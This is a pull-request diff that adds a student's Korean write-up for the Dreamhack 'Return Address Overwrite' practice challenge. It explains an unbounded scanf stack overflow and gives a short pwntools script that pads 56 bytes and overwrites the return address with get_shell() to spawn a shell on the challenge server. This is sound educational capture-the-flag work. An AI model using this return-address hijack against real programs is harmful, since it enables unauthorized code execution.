Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added assignment/week05/김나경/문제 풀이.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assignment/week05/김나경/설치.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assignment/week06/김나경/레벨1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assignment/week06/김나경/레벨2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assignment/week06/김나경/레벨3.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assignment/week06/김나경/레벨4.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assignment/week06/김나경/레벨5.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
56 changes: 56 additions & 0 deletions assignment/week07/김나경/readme.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
[과제]
드림핵에서 아래 문제를 풀고, 라이트업을 다음주 수업 전까지 작성하기.
풀이 과정 및 플래그 획득 과정 포함 필수.
익스플로잇 코드에서 코드가 어떤 의미를 가지고 있는지 꼭 서술해주세요!
풀이가 어려울 시 두번째 링크에서 문제 설명 본 후 다시 풀이해보기. 혹은 디스코드/카톡 권태연으로 연락주시면 됩니다.

**Return Address Overwrite**

(1) 문제 링크

https://dreamhack.io/wargame/challenges/351

(2) 문제 해설 링크

https://learn.dreamhack.io/58#1

과정 -------------------------------------------------

프로그램은 scanf("%s", buf)를 사용해 입력을 받는다.

scanf()에는 입력 길이 제한이 없기 때문에 40바이트보다 긴 입력을 넣을 수 있다.

긴 입력을 넣으면 buf를 넘어 saved RBP와 리턴 주소까지 덮어쓸 수 있다.

buf의 시작부터 리턴 주소까지의 거리는 56바이트이다.

먼저 A를 56개 넣어 리턴 주소 앞까지 채운다.

그 뒤에 get_shell()의 주소인 0x4006aa를 넣는다.

main() 함수가 끝나면서 ret 명령어가 실행된다.

ret은 덮어쓴 주소인 0x4006aa로 이동한다.

get_shell() 함수가 실행되면서 /bin/sh가 실행된다.
최종적으로 쉘을 획득할 수 있다

정리--------------------------------------------

이 문제의 취약점은 scanf("%s", buf)가 입력 길이를 확인하지 않는다는 점이다.

buf보다 긴 값을 입력하면 리턴 주소까지 덮어쓸 수 있다. 분석 결과 buf의 시작부터 리턴 주소까지의 거리는 56바이트였고, get_shell() 함수의 주소는 0x4006aa였다.

따라서 56바이트의 값을 먼저 넣고, 그 뒤에 get_shell() 함수의 주소를 넣어 리턴 주소를 변경했다.

그 결과 main() 함수가 종료될 때 get_shell() 함수가 실행되었고, 최종적으로 쉘을 획득할 수 있었다.

최종코드/ 코드의미
from pwn import * Pwntools 불러오기 (서버 연결, 데이터 전송, 주소 변환을 쉽게 할 수 있다.)
p = remote("host3.dreamhack.games", 11262) (문제 서버 접속)
payload = b"A" * 0x38 (리턴 주소 전까지 채우기)
payload += p64(0x4006aa) (get_shell() 주소 추가) 8바이트형태로 바꿔주기
p.sendlineafter(b"Input: ", payload) (페이로드 전송)
p.interactive() (쉘과 연결)